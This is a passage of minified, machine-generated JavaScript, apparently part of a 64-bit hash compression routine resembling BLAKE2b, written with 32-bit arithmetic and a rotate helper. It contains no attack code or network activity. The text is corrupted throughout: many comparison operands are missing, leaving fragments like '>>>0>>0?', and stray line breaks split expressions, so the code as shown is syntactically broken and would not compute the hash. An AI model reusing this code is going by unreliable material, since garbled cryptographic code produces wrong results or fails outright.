+(L=y)|0,P=a=(w=h+g|0)>>>0>>0?a+1|0:a,h=a=ft(w^R,G^a,1),R=f=y,f=ft(u^d,k^F,1),a=Q+(d=y)|0,a=Qt+((u=f+C|0)>>>0>>0?a+1|0:a)|0,a=Ct+(C=(u=u+ot|0)>>>0>>0?a+1|0:a)|0,G=Q=u+st|0,Q=a=Q>>>0>>0?a+1|0:a,k=f,F=d,a=N+T|0,a=(f=l+K|0)>>>0>>0?a+1|0:a,N=f,U=ft(M^U,D^tt,48),d=ft(u^U,C^(tt=y),32),M=a,a=a+(yt=y)|0,C=f=d+f|0,f=ft(f^k,(D=f>>>0>>0?a+1|0:a)^F,40),a=(k=y)+Q|0,F=a=(l=f+G|0)>>>0>>0?a+1|0:a,a=a+R|0,a=n+((K=l)>>>0>(l=h+l|0)>>>0?a+1|0:a)|0,a=(u=(l=l+mt|0)>>>0>>0?a+1|0:a)+dt|0,wt=Q=l+lt|0,G=a=Q>>>0>>0?a+1|0:a,O=h,T=l,a=ft(p^N,M^et,1),p=l=y,h=a,a=b+kt|0,a=((Q=v+ht|0)>>>0>>0?a+1|0:a)+l|0,a=ut+(Q=(l=h+Q|0)>>>0>>0?a+1|0:a)|0,M=v=l+J|0,v=a=v>>>0>>0?a+1|0:a,b=h,a=ft(l^S,Q^$,32),N=h=y,l=a,Q=h,a=_+tt|0,_=h=I+U|0,S=a=h>>>0>>0?a+1|0:a,a=a+Q|0,a=(I=h+l|0)>>>0>>0?a+1|0:a;h=I^b,b=a,Q=ft(h,a^p,40),a=(tt=y)+v|0,U=ft(v=(h=Q+M|0)^l,N^(l=h>>>0>>0?a+1|0:a),48),a=ft(a=U^T,(T=y)^u,32),et=u=y,M=a,v=u,u=ft(E^_,S^nt,1),a=At+(E=y)|0,a=H+((p=u+j|0)>>>0>>0?a+1|0:a)|0,a=vt+(B=(p=p+B|0)>>>0>>0?a+1|0:a)|0,S=_=p+pt|0,_=a=_>>>0>>0?a+1|0:a,p=ft(p^x,B^Z,32),a=q+(N=y)|0,x=p,m=a=(p=m+p|0)>>>0>>0?a+1|0:a,B=ft(u^p,a^E,40),a=(Z=y)+_|0,E=u=B+S|0,u=ft(_=u^x,N^(x=u>>>0>>0?a+1|0:a),48),a=m+($=y)|0,_=u,S=u=p+u|0,N=a=u>>>0

>>0?a+1|0:a,a=a+v|0,a=(p=u+M|0)>>>0>>0?a+1|0:a,u=R,R=a,m=ft(p^O,u^a,40),a=(H=y)+G|0,v=u=m+wt|0,u=ft(G=u^M,et^(M=u>>>0>>0?a+1|0:a),48),a=R+(et=y)|0,R=u,p=a=(u=p+u|0)>>>0

>>0?a+1|0:a,H=a=ft(u^m,H^a,1),nt=a,q=m=y,m=l,l=f,f=ft(d^K,F^yt,48),a=D+(yt=y)|0,D=f,a=(f=C+f|0)>>>0>>0?a+1|0:a,C=h,h=l^f,l=a,h=ft(h,a^k,1),a=(k=y)+m|0,a=bt+(h>>>0>(d=C+h|0)>>>0?a+1|0:a)|0,a=It+(C=(d=d+gt|0)>>>0>>0?a+1|0:a)|0,K=m=d+rt|0,m=a=m>>>0>>0?a+1|0:a,d=ft(d^_,C^$,32),a=P+(F=y)|0,_=a=(C=d+w|0)>>>0>>0?a+1|0:a,w=ft(h^C,k^a,40),a=($=y)+m|0,k=h=w+K|0,d=ft(h^d,F^(P=h>>>0>>0?a+1|0:a),48),a=_+(K=y)|0,F=h=d+C|0,_=h,G=a=h>>>0>>0?a+1|0:a,C=f,m=l,a=b+T|0,a=(h=I+U|0)>>>0>>0?a+1|0:a,I=h,h^=Q,Q=a,a=ft(h,tt^a,1),O=h=y,b=a,l=a,a=x+Y|0,a=((f=E+ct|0)>>>0>>0?a+1|0:a)+h|0,E=a=(h=f)>>>0>(f=l+f|0)>>>0?a+1|0:a,l=ft(g^f,a^L,32),a=(a=m)+(m=y)|0,U=h=l+C|0,g=ft(g=h^b,O^(b=h>>>0>>0?a+1|0:a),40),a=E+(L=y)|0,a=Et+((h=g+f|0)>>>0>>0?a+1|0:a)|0,O=a=(C=h+V|0)>>>0>>0?a+1|0:a,m=ft(l^C,m^a,48),wt=a=y,h=ft(B^S,N^Z,1),a=(l=y)+X|0,a=Bt+((f=h+W|0)>>>0>>0?a+1|0:a)|0,a=z+(B=(f=f+at|0)>>>0>>0?a+1|0:a)|0,X=E=e+f|0,S=a=E>>>0>>0?a+1|0:a,N=h,E=ft(f^D,B^yt,32),a=(Z=y)+Q|0,Q=h=E+I|0,f=ft(h^N,(D=h>>>0>>0?a+1|0:a)^l,40),a=(a=S)+(S=y)|0,N=h=f+X|0,X=a=h>>>0>>0?a+1|0:a,l=a,a=z+q|0,a=((B=e+H|0)>>>0>>0?a+1|0:a)+l|0,x=a=(l=h+B|0)>>>0>>0?a+1|0:a,h=ft(l^m,wt^a,32),a=(H=y)+G|0,I=ft((B=h+_|0)^nt,(a=B>>>0>>0?a+1|0:a)^q,40),q=a,a=It+(_=y)|0,a=x+((W=I+rt|0)>>>0>>0?a+1|0:a)|0,a=(x=l+W|0)>>>0>>0?a+1|0:a,l=H,H=a,l=ft(h^x,l^a,48),a=(a=q)+(q=y)|0,h=I^(B=l+B|0),I=a=B>>>0>>0?a+1|0:a,W=a=ft(h,a^_,1),nt=a,T=h=y,_=u,tt=p,u=f,f=ft(E^N,X^Z,48),a=D+(N=y)|0,E=h=f+Q|0,Q=a=h>>>0>>0?a+1|0:a,u=ft(h^u,a^S,1),a=(X=y)+bt|0,a=O+((h=u+gt|0)>>>0>>0?a+1|0:a)|0,C=a=(p=h+C|0)>>>0>>0?a+1|0:a,h=ft(p^d,a^K,32),a=(S=y)+tt|0,_=d=h+_|0,D=a=d>>>0>>0?a+1|0:a,u=ft(u^d,a^X,40),a=Ct+(yt=y)|0,X=u,a=C+((u=st+u|0)>>>0>>0?a+1|0:a)|0,p=a=(u=u+p|0)>>>0

>>0?a+1|0:a,d=ft(h^u,a^S,48),a=(a=D)+(D=y)|0,K=h=d+_|0,S=h,O=a=h>>>0>>0?a+1|0:a,a=b+wt|0,_=(h=m+U|0)^g,g=a=h>>>0>>0?a+1|0:a,a=ft(_,a^L,1),L=C=y,_=a,a=P+ut|0,a=((m=k+J|0)>>>0>>0?a+1|0:a)+C|0,b=a=(b=m)>>>0>(m=m+_|0)>>>0?a+1|0:a,U=C=ft(m^R,et^a,32),k=a=y,a=a+Q|0,P=C=C+E|0,R=a=U>>>0>C>>>0?a+1|0:a,C=ft(C^_,L^a,40),a=dt+(L=y)|0,a=b+((E=C+lt|0)>>>0>>0?a+1|0:a)|0,E=a=(_=m)>>>0>(m=m+E|0)>>>0?a+1|0:a,_=ft(m^U,a^k,48),et=a=y,Q=a,w=ft(w^F,G^$,1),b=a=y,U=f,a=a+Y|0,a=M+((f=w+ct|0)>>>0>>0?a+1|0:a)|0,a=(f=f+v|0)>>>0>>0?a+1|0:a,v=f^U,U=a,v=ft(v,a^N,32),a=($=y)+g|0,M=h=v+h|0,g=ft(h^w,(g=b)^(b=h>>>0>>0?a+1|0:a),40),a=Bt+(k=y)|0,a=U+((h=g+at|0)>>>0>>0?a+1|0:a)|0,U=h=h+f|0,N=a=h>>>0>>0?a+1|0:a,f=a,a=T+Qt|0,a=((w=W+ot|0)>>>0>>0?a+1|0:a)+f|0,W=a=(f=h+w|0)>>>0>>0?a+1|0:a,h=ft(f^_,a^Q,32),a=(F=y)+O|0,Q=ft((w=h+S|0)^nt,(a=w>>>0>>0?a+1|0:a)^T,40),G=S=y,T=a,a=S+vt|0,a=W+((S=Q+pt|0)>>>0>>0?a+1|0:a)|0,W=a=(S=f+S|0)>>>0>>0?a+1|0:a,f=ft(h^S,a^F,48),a=(F=y)+T|0,h=(w=f+w|0)^Q,Q=a=w>>>0>>0?a+1|0:a,G=a=ft(h,a^G,1),T=h=y,tt=B,Z=d,d=g,g=ft(v^U,N^$,48),a=(v=y)+b|0,b=h=g+M|0,U=a=h>>>0>>0?a+1|0:a,d=ft(h^d,a^k,1),a=(k=y)+_t|0,a=((h=d+it|0)>>>0>>0?a+1|0:a)+E|0,m=a=(B=h+m|0)>>>0>>0?a+1|0:a,h=ft(B^Z,a^D,32),a=(E=y)+I|0,M=I=h+tt|0,D=a=I>>>0>>0?a+1|0:a,d=ft(d^I,a^k,40),a=n+(Z=y)|0,k=d,a=m+((d=mt+d|0)>>>0>>0?a+1|0:a)|0,N=a=(I=d+B|0)>>>0>>0?a+1|0:a,d=ft(h^I,a^E,48),a=(a=D)+(D=y)|0,M=h=d+M|0,tt=a=h>>>0>>0?a+1|0:a,m=l,B=u,a=R+et|0,l=a=(h=_+P|0)>>>0<_>>>0?a+1|0:a,u=ft(h^C,a^L,1),a=(C=y)+At|0,a=((E=u+j|0)>>>0>>0?a+1|0:a)+p|0,p=ft(m^(B=B+E|0),(a=B>>>0>>0?a+1|0:a)^q,32),E=a,_=u,a=(m=y)+U|0,a=(u=p+b|0)>>>0

>>0?a+1|0:a,b=u,u^=_,_=a,u=ft(u,a^C,40),a=A+(U=y)|0,a=((C=u+r|0)>>>0>>0?a+1|0:a)+E|0,P=a=(E=C)>>>0>(C=C+B|0)>>>0?a+1|0:a,m=ft(p^C,a^m,48),et=a=y,B=a,p=ft(K^X,O^yt,1),R=a=y,X=l,a=a+Et|0,a=H+((l=p+V|0)>>>0>>0?a+1|0:a)|0,E=v,v=a=(l=l+x|0)>>>0>>0?a+1|0:a,E=ft(g^l,E^a,32),a=($=y)+X|0,x=h=E+h|0,g=ft(h^p,(g=R)^(R=h>>>0>>0?a+1|0:a),40),a=kt+(X=y)|0,a=v+((h=g+ht|0)>>>0>>0?a+1|0:a)|0,H=h=h+l|0,K=a=h>>>0>>0?a+1|0:a,l=a,a=T+ut|0,a=((p=J+G|0)>>>0>>0?a+1|0:a)+l|0,v=a=(l=h+p|0)>>>0

>>0?a+1|0:a,h=ft(l^m,a^B,32),a=(q=y)+tt|0,B=ft((p=h+M|0)^G,(a=p>>>0>>0?a+1|0:a)^T,40),G=a,a=Y+(L=y)|0,a=v+((O=B+ct|0)>>>0>>0?a+1|0:a)|0,a=(v=l+O|0)>>>0>>0?a+1|0:a,l=q,q=a,l=ft(h^v,l^a,48),a=(a=G)+(G=y)|0,h=(p=l+p|0)^B,B=a=p>>>0>>0?a+1|0:a,L=a=ft(h,a^L,1),O=h=y,T=d,d=g,g=ft(E^H,K^$,48),a=(a=R)+(R=y)|0,x=h=g+x|0,E=X,X=a=h>>>0>>0?a+1|0:a,d=ft(h^d,E^a,1),a=(H=y)+vt|0,a=P+((h=d+pt|0)>>>0>>0?a+1|0:a)|0,E=C,C=h+C|0,h=D,D=a=E>>>0>C>>>0?a+1|0:a,h=ft(C^T,h^a,32),a=(a=Q)+(Q=y)|0,P=a=(E=h+w|0)>>>0>>0?a+1|0:a,w=E,d=ft(d^E,a^H,40),a=Et+($=y)|0,H=d,a=D+((d=V+d|0)>>>0>>0?a+1|0:a)|0,D=a=(E=d+C|0)>>>0>>0?a+1|0:a,d=ft(h^E,a^Q,48),a=(a=P)+(P=y)|0,K=h=d+w|0,T=a=h>>>0>>0?a+1|0:a,w=f,a=_+et|0,f=a=(h=m+b|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^U,1),a=It+(m=y)|0,a=N+((C=u+rt|0)>>>0>>0?a+1|0:a)|0,_=(C=I+C|0)^w,w=a=C>>>0>>0?a+1|0:a,I=ft(_,a^F,32),Q=a=y,_=u,a=a+X|0,a=(u=I+x|0)>>>0>>0?a+1|0:a,b=u,u^=_,_=a,u=ft(u,a^m,40),a=A+(U=y)|0,a=w+((m=u+r|0)>>>0>>0?a+1|0:a)|0,N=a=(m=C+m|0)>>>0>>0?a+1|0:a,w=ft(I^m,a^Q,48),et=a=y,C=a,I=ft(k^M,Z^tt,1),x=a=y,M=f,a=a+n|0,a=W+((f=I+mt|0)>>>0>>0?a+1|0:a)|0,S=a=(f=f+S|0)>>>0>>0?a+1|0:a,Q=ft(g^f,a^R,32),a=(nt=y)+M|0,M=h=Q+h|0,g=ft(h^I,(k=h>>>0>>0?a+1|0:a)^x,40),a=z+(R=y)|0,a=S+((h=e+g|0)>>>0>>0?a+1|0:a)|0,S=h=h+f|0,X=a=h>>>0>>0?a+1|0:a,f=a,a=O+Bt|0,a=((I=L+at|0)>>>0>>0?a+1|0:a)+f|0,x=a=(f=h+I|0)>>>0>>0?a+1|0:a,h=ft(f^w,a^C,32),a=(W=y)+T|0,C=ft((I=h+K|0)^L,(a=I>>>0>>0?a+1|0:a)^O,40),F=a,a=bt+(L=y)|0,a=x+((O=C+gt|0)>>>0>>0?a+1|0:a)|0,a=(x=f+O|0)>>>0>>0?a+1|0:a,f=W,W=a,f=ft(h^x,f^a,48),a=(a=F)+(F=y)|0,h=(I=f+I|0)^C,C=a=I>>>0>>0?a+1|0:a,L=a=ft(h,a^L,1),yt=a,O=h=y,tt=p,Z=d,p=g,g=ft(Q^S,X^nt,48),a=(Q=y)+k|0,S=h=g+M|0,M=a=h>>>0>>0?a+1|0:a,p=ft(h^p,a^R,1),a=(R=y)+dt|0,a=N+((h=p+lt|0)>>>0

>>0?a+1|0:a)|0,m=a=(d=h+m|0)>>>0>>0?a+1|0:a,h=ft(d^Z,a^P,32),a=(k=y)+B|0,P=a=(B=h+tt|0)>>>0>>0?a+1|0:a,p=ft(p^B,a^R,40),a=_t+(nt=y)|0,N=p,a=m+((p=it+p|0)>>>0>>0?a+1|0:a)|0,m=p+d|0,p=k,k=a=m>>>0>>0?a+1|0:a,p=ft(h^m,p^a,48),a=(a=P)+(P=y)|0,R=h=p+B|0,X=a=h>>>0

>>0?a+1|0:a,d=l,a=_+et|0,l=a=(h=w+b|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^U,1),a=(w=y)+kt|0,a=D+((B=u+ht|0)>>>0>>0?a+1|0:a)|0,d=ft(d^(B=B+E|0),(a=B>>>0>>0?a+1|0:a)^G,32),_=E=y,E=a,b=u,a=_+M|0,a=(u=d+S|0)>>>0>>0?a+1|0:a,S=u,u^=b,b=a,u=ft(u,a^w,40),a=Ct+(U=y)|0,a=((w=u+st|0)>>>0>>0?a+1|0:a)+E|0,D=_,_=a=(E=B+w|0)>>>0>>0?a+1|0:a,w=ft(d^E,D^a,48),et=a=y,B=a,d=ft(K^H,T^$,1),M=a=y,D=l,a=a+At|0,a=q+((l=d+j|0)>>>0>>0?a+1|0:a)|0,v=a=(l=l+v|0)>>>0>>0?a+1|0:a,Q=ft(g^l,a^Q,32),a=($=y)+D|0,D=h=Q+h|0,g=ft(h^d,(g=M)^(M=h>>>0>>0?a+1|0:a),40),a=Qt+(H=y)|0,a=v+((h=g+ot|0)>>>0>>0?a+1|0:a)|0,K=h=h+l|0,q=a=h>>>0>>0?a+1|0:a,l=a,a=O+A|0,a=((d=L+r|0)>>>0>>0?a+1|0:a)+l|0,v=a=(l=h+d|0)>>>0>>0?a+1|0:a,h=ft(l^w,a^B,32),a=(L=y)+X|0,B=ft((d=h+R|0)^yt,(a=d>>>0>>0?a+1|0:a)^O,40),O=a,a=vt+(G=y)|0,a=v+((T=B+pt|0)>>>0>>0?a+1|0:a)|0,a=(v=l+T|0)>>>0>>0?a+1|0:a,l=L,L=a,l=ft(h^v,l^a,48),a=(a=O)+(O=y)|0,h=(d=l+d|0)^B,B=a=d>>>0>>0?a+1|0:a,G=a=ft(h,a^G,1),T=h=y,tt=I,Z=p,p=g,g=ft(Q^K,q^$,48),a=(Q=y)+M|0,M=h=g+D|0,D=a=h>>>0>>0?a+1|0:a,p=ft(h^p,a^H,1),a=(H=y)+_t|0,a=_+((h=p+it|0)>>>0

>>0?a+1|0:a)|0,E=a=(I=h+E|0)>>>0>>0?a+1|0:a,h=ft(I^Z,a^P,32),a=(_=y)+C|0,P=a=(C=h+tt|0)>>>0>>0?a+1|0:a,p=ft(p^C,a^H,40),a=At+($=y)|0,H=p,a=E+((p=j+p|0)>>>0>>0?a+1|0:a)|0,E=p+I|0,p=_,_=a=E>>>0>>0?a+1|0:a,p=ft(h^E,p^a,48),a=(a=P)+(P=y)|0,K=h=p+C|0,q=a=h>>>0

>>0?a+1|0:a,I=f,a=b+et|0,f=a=(h=w+S|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^U,1),a=Qt+(w=y)|0,a=k+((C=u+ot|0)>>>0>>0?a+1|0:a)|0,m=a=(C=C+m|0)>>>0>>0?a+1|0:a,I=ft(I^C,a^F,32),S=a=y,b=u,a=a+D|0,a=(u=I+M|0)>>>0>>0?a+1|0:a,U=u,u^=b,b=a,u=ft(u,a^w,40),a=Bt+(M=y)|0,a=m+((w=u+at|0)>>>0>>0?a+1|0:a)|0,a=(m=C+w|0)>>>0>>0?a+1|0:a,C=S,S=a,w=ft(I^m,C^a,48),et=a=y,C=a,I=ft(N^R,X^nt,1),D=a=y,k=f,a=a+z|0,a=W+((f=e+I|0)>>>0>>0?a+1|0:a)|0,x=a=(f=f+x|0)>>>0>>0?a+1|0:a,Q=ft(g^f,a^Q,32),a=(nt=y)+k|0,k=h=Q+h|0,g=ft(h^I,(g=D)^(D=h>>>0>>0?a+1|0:a),40),a=Et+(N=y)|0,a=x+((h=g+V|0)>>>0>>0?a+1|0:a)|0,R=h=h+f|0,X=a=h>>>0>>0?a+1|0:a,f=a,a=T+It|0,a=((I=G+rt|0)>>>0>>0?a+1|0:a)+f|0,x=a=(f=h+I|0)>>>0>>0?a+1|0:a,h=ft(f^w,a^C,32),a=(W=y)+q|0,C=ft((I=h+K|0)^G,(a=I>>>0>>0?a+1|0:a)^T,40),G=a,a=n+(F=y)|0,a=x+((T=C+mt|0)>>>0>>0?a+1|0:a)|0,a=(x=f+T|0)>>>0>>0?a+1|0:a,f=W,W=a,f=ft(h^x,f^a,48),a=(a=G)+(G=y)|0,h=(I=f+I|0)^C,C=a=I>>>0>>0?a+1|0:a,F=a=ft(h,a^F,1),T=h=y,tt=d,Z=p,p=g,g=ft(Q^R,X^nt,48),a=(Q=y)+D|0,D=h=g+k|0,k=a=h>>>0>>0?a+1|0:a,p=ft(h^p,a^N,1),a=(N=y)+ut|0,a=S+((h=p+J|0)>>>0

>>0?a+1|0:a)|0,m=a=(d=h+m|0)>>>0>>0?a+1|0:a,h=ft(d^Z,a^P,32),a=(S=y)+B|0,P=a=(B=h+tt|0)>>>0>>0?a+1|0:a,p=ft(p^B,a^N,40),a=kt+(nt=y)|0,N=p,a=m+((p=ht+p|0)>>>0>>0?a+1|0:a)|0,m=p+d|0,p=S,S=a=m>>>0>>0?a+1|0:a,p=ft(h^m,p^a,48),a=(a=P)+(P=y)|0,R=h=p+B|0,X=a=h>>>0

>>0?a+1|0:a,d=l,a=b+et|0,l=a=(h=w+U|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^M,1),a=(w=y)+Ct|0,a=_+((B=u+st|0)>>>0>>0?a+1|0:a)|0,E=a=(B=B+E|0)>>>0>>0?a+1|0:a,d=ft(d^B,a^O,32),_=a=y,b=u,a=a+k|0,a=(u=d+D|0)>>>0>>0?a+1|0:a,U=u,u^=b,b=a,u=ft(u,a^w,40),a=dt+(M=y)|0,a=E+((w=u+lt|0)>>>0>>0?a+1|0:a)|0,D=_,_=a=(E=B+w|0)>>>0>>0?a+1|0:a,w=ft(d^E,D^a,48),et=a=y,B=a,d=ft(K^H,q^$,1),D=a=y,k=l,a=a+Y|0,a=L+((l=d+ct|0)>>>0>>0?a+1|0:a)|0,v=a=(l=l+v|0)>>>0>>0?a+1|0:a,Q=ft(g^l,a^Q,32),a=($=y)+k|0,k=h=Q+h|0,g=ft(h^d,(g=D)^(D=h>>>0>>0?a+1|0:a),40),a=bt+(H=y)|0,a=v+((h=g+gt|0)>>>0>>0?a+1|0:a)|0,K=h=h+l|0,q=a=h>>>0>>0?a+1|0:a,l=a,a=T+n|0,a=((d=F+mt|0)>>>0>>0?a+1|0:a)+l|0,v=a=(l=h+d|0)>>>0>>0?a+1|0:a,h=ft(l^w,a^B,32),a=(L=y)+X|0,B=ft((d=h+R|0)^F,(a=d>>>0>>0?a+1|0:a)^T,40),O=a,a=Qt+(F=y)|0,a=v+((T=B+ot|0)>>>0>>0?a+1|0:a)|0,a=(v=l+T|0)>>>0>>0?a+1|0:a,l=L,L=a,l=ft(h^v,l^a,48),a=(a=O)+(O=y)|0,h=(d=l+d|0)^B,B=a=d>>>0>>0?a+1|0:a,F=a=ft(h,a^F,1),T=h=y,tt=I,Z=p,p=g,g=ft(Q^K,q^$,48),a=(Q=y)+D|0,D=h=g+k|0,k=a=h>>>0>>0?a+1|0:a,p=ft(h^p,a^H,1),a=(H=y)+Y|0,a=_+((h=p+ct|0)>>>0

>>0?a+1|0:a)|0,E=a=(I=h+E|0)>>>0>>0?a+1|0:a,h=ft(I^Z,a^P,32),a=(_=y)+C|0,P=a=(C=h+tt|0)>>>0>>0?a+1|0:a,p=ft(p^C,a^H,40),a=dt+($=y)|0,H=p,a=E+((p=lt+p|0)>>>0>>0?a+1|0:a)|0,E=p+I|0,p=_,_=a=E>>>0>>0?a+1|0:a,p=ft(h^E,p^a,48),a=(a=P)+(P=y)|0,K=h=p+C|0,q=a=h>>>0

>>0?a+1|0:a,I=f,a=b+et|0,f=a=(h=w+U|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^M,1),a=Ct+(w=y)|0,a=S+((C=u+st|0)>>>0>>0?a+1|0:a)|0,m=a=(C=C+m|0)>>>0>>0?a+1|0:a,I=ft(I^C,a^G,32),S=a=y,b=u,a=a+k|0,a=(u=I+D|0)>>>0>>0?a+1|0:a,U=u,u^=b,b=a,u=ft(u,a^w,40),a=kt+(M=y)|0,a=m+((w=u+ht|0)>>>0>>0?a+1|0:a)|0,a=(m=C+w|0)>>>0>>0?a+1|0:a,C=S,S=a,w=ft(I^m,C^a,48),et=a=y,C=a,I=ft(N^R,X^nt,1),D=a=y,k=f,a=a+At|0,a=W+((f=I+j|0)>>>0>>0?a+1|0:a)|0,x=a=(f=f+x|0)>>>0>>0?a+1|0:a,Q=ft(g^f,a^Q,32),a=(nt=y)+k|0,k=h=Q+h|0,g=ft(h^I,(g=D)^(D=h>>>0>>0?a+1|0:a),40),a=bt+(N=y)|0,a=x+((h=g+gt|0)>>>0>>0?a+1|0:a)|0,R=h=h+f|0,X=a=h>>>0>>0?a+1|0:a,f=a,a=T+Et|0,a=((I=F+V|0)>>>0>>0?a+1|0:a)+f|0,x=a=(f=h+I|0)>>>0>>0?a+1|0:a,h=ft(f^w,a^C,32),a=(W=y)+q|0,C=ft((I=h+K|0)^F,(a=I>>>0>>0?a+1|0:a)^T,40),G=a,a=z+(F=y)|0,a=x+((T=e+C|0)>>>0>>0?a+1|0:a)|0,a=(x=f+T|0)>>>0>>0?a+1|0:a,f=W,W=a,f=ft(h^x,f^a,48),a=(a=G)+(G=y)|0,h=(I=f+I|0)^C,C=a=I>>>0>>0?a+1|0:a,F=a=ft(h,a^F,1),T=h=y,tt=d,Z=p,p=g,g=ft(Q^R,X^nt,48),a=(Q=y)+D|0,D=h=g+k|0,k=a=h>>>0>>0?a+1|0:a,p=ft(h^p,a^N,1),a=(N=y)+Bt|0,a=S+((h=p+at|0)>>>0

>>0?a+1|0:a)|0,m=a=(d=h+m|0)>>>0>>0?a+1|0:a,h=ft(d^Z,a^P,32),a=(S=y)+B|0,P=a=(B=h+tt|0)>>>0>>0?a+1|0:a,p=ft(p^B,a^N,40),a=A+(nt=y)|0,N=p,a=m+((p=r+p|0)>>>0>>0?a+1|0:a)|0,m=p+d|0,p=S,S=a=m>>>0>>0?a+1|0:a,p=ft(h^m,p^a,48),a=(a=P)+(P=y)|0,R=h=p+B|0,X=a=h>>>0

>>0?a+1|0:a,d=l,a=b+et|0,l=a=(h=w+U|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^M,1),a=(w=y)+It|0,a=_+((B=u+rt|0)>>>0>>0?a+1|0:a)|0,E=a=(B=B+E|0)>>>0>>0?a+1|0:a,d=ft(d^B,a^O,32),_=a=y,b=u,a=a+k|0,a=(u=d+D|0)>>>0>>0?a+1|0:a,U=u,u^=b,b=a,u=ft(u,a^w,40),a=_t+(M=y)|0,a=E+((w=u+it|0)>>>0>>0?a+1|0:a)|0,D=_,_=a=(E=B+w|0)>>>0>>0?a+1|0:a,w=ft(d^E,D^a,48),et=a=y,B=a,d=ft(K^H,q^$,1),D=a=y,k=l,a=a+vt|0,a=L+((l=d+pt|0)>>>0>>0?a+1|0:a)|0,v=a=(l=l+v|0)>>>0>>0?a+1|0:a,Q=ft(g^l,a^Q,32),a=($=y)+k|0,k=h=Q+h|0,g=ft(h^d,(g=D)^(D=h>>>0>>0?a+1|0:a),40),a=ut+(H=y)|0,a=v+((h=g+J|0)>>>0>>0?a+1|0:a)|0,K=h=h+l|0,q=a=h>>>0>>0?a+1|0:a,l=a,a=T+bt|0,a=((d=F+gt|0)>>>0>>0?a+1|0:a)+l|0,v=a=(l=h+d|0)>>>0>>0?a+1|0:a,h=ft(l^w,a^B,32),a=(L=y)+X|0,B=ft((d=h+R|0)^F,(a=d>>>0>>0?a+1|0:a)^T,40),O=a,a=dt+(F=y)|0,a=v+((T=B+lt|0)>>>0>>0?a+1|0:a)|0,a=(v=l+T|0)>>>0>>0?a+1|0:a,l=L,L=a,l=ft(h^v,l^a,48),a=(a=O)+(O=y)|0,h=(d=l+d|0)^B,B=a=d>>>0>>0?a+1|0:a,F=a=ft(h,a^F,1),T=h=y,tt=I,Z=p,p=g,g=ft(Q^K,q^$,48),a=(Q=y)+D|0,D=h=g+k|0,k=a=h>>>0>>0?a+1|0:a,p=ft(h^p,a^H,1),a=(H=y)+Qt|0,a=_+((h=p+ot|0)>>>0

>>0?a+1|0:a)|0,E=a=(I=h+E|0)>>>0>>0?a+1|0:a,h=ft(I^Z,a^P,32),a=(_=y)+C|0,P=a=(C=h+tt|0)>>>0>>0?a+1|0:a,p=ft(p^C,a^H,40),a=n+($=y)|0,H=p,a=E+((p=mt+p|0)>>>0>>0?a+1|0:a)|0,E=p+I|0,p=_,_=a=E>>>0>>0?a+1|0:a,p=ft(h^E,p^a,48),a=(a=P)+(P=y)|0,K=h=p+C|0,q=a=h>>>0

>>0?a+1|0:a,I=f,a=b+et|0,f=a=(h=w+U|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^M,1),a=_t+(w=y)|0,a=S+((C=u+it|0)>>>0>>0?a+1|0:a)|0,m=a=(C=C+m|0)>>>0>>0?a+1|0:a,I=ft(I^C,a^G,32),S=a=y,b=u,a=a+k|0,a=(u=I+D|0)>>>0>>0?a+1|0:a,U=u,u^=b,b=a,u=ft(u,a^w,40),a=Y+(M=y)|0,a=m+((w=u+ct|0)>>>0>>0?a+1|0:a)|0,a=(m=C+w|0)>>>0>>0?a+1|0:a,C=S,S=a,w=ft(I^m,C^a,48),et=a=y,C=a,I=ft(N^R,X^nt,1),D=a=y,k=f,a=a+kt|0,a=W+((f=I+ht|0)>>>0>>0?a+1|0:a)|0,x=a=(f=f+x|0)>>>0>>0?a+1|0:a,Q=ft(g^f,a^Q,32),a=(nt=y)+k|0,k=h=Q+h|0,g=ft(h^I,(g=D)^(D=h>>>0>>0?a+1|0:a),40),a=vt+(N=y)|0,a=x+((h=g+pt|0)>>>0>>0?a+1|0:a)|0,R=h=h+f|0,X=a=h>>>0>>0?a+1|0:a,f=a,a=T+Ct|0,a=((I=F+st|0)>>>0>>0?a+1|0:a)+f|0,x=a=(f=h+I|0)>>>0>>0?a+1|0:a,h=ft(f^w,a^C,32),a=(W=y)+q|0,C=ft((I=h+K|0)^F,(a=I>>>0>>0?a+1|0:a)^T,40),G=a,a=A+(F=y)|0,a=x+((T=C+r|0)>>>0>>0?a+1|0:a)|0,a=(x=f+T|0)>>>0>>0?a+1|0:a,f=W,W=a,f=ft(h^x,f^a,48),a=(a=G)+(G=y)|0,h=(I=f+I|0)^C,C=a=I>>>0>>0?a+1|0:a,F=a=ft(h,a^F,1),T=h=y,tt=d,Z=p,p=g,g=ft(Q^R,X^nt,48),a=(Q=y)+D|0,D=h=g+k|0,k=a=h>>>0>>0?a+1|0:a,p=ft(h^p,a^N,1),a=(R=y)+At|0,a=S+((h=p+j|0)>>>0

>>0?a+1|0:a)|0,m=a=(d=h+m|0)>>>0>>0?a+1|0:a,h=ft(d^Z,a^P,32),a=(S=y)+B|0,P=B=h+tt|0,N=a=B>>>0>>0?a+1|0:a,p=ft(p^B,a^R,40),a=Et+(tt=y)|0,R=p,a=m+((p=V+p|0)>>>0>>0?a+1|0:a)|0,B=p+d|0,p=S,S=a=B>>>0>>0?a+1|0:a,p=ft(h^B,p^a,48),a=(a=N)+(N=y)|0,P=h=p+P|0,X=a=h>>>0

>>0?a+1|0:a,d=l,a=b+et|0,l=a=(h=w+U|0)>>>0>>0?a+1|0:a,u=ft(h^u,a^M,1),a=(w=y)+z|0,a=_+((m=e+u|0)>>>0>>0?a+1|0:a)|0,E=a=(m=m+E|0)>>>0>>0?a+1|0:a,_=d=ft(d^m,a^O,32),b=a=y,U=u,a=a+k|0,a=(u=d+D|0)>>>0>>0?a+1|0:a,M=u,u^=U,U=a,u=ft(u,a^w,40),a=Bt+(D=y)|0,a=E+((d=u+at|0)>>>0>>0?a+1|0:a)|0,k=(d=d+m|0)^_,_=a=d>>>0>>0?a+1|0:a,m=ft(k,a^b,48),O=a=y,w=a,b=E=ft(K^H,q^$,1),k=a=y,H=l,a=a+ut|0,a=L+((l=E+J|0)>>>0>>0?a+1|0:a)|0,a=(l=l+v|0)>>>0>>0?a+1|0:a,v=Q,Q=a,E=ft(g^l,v^a,32),a=(Z=y)+H|0,v=h=E+h|0,g=ft(g=h^b,(b=h>>>0>>0?a+1|0:a)^k,40),a=It+(k=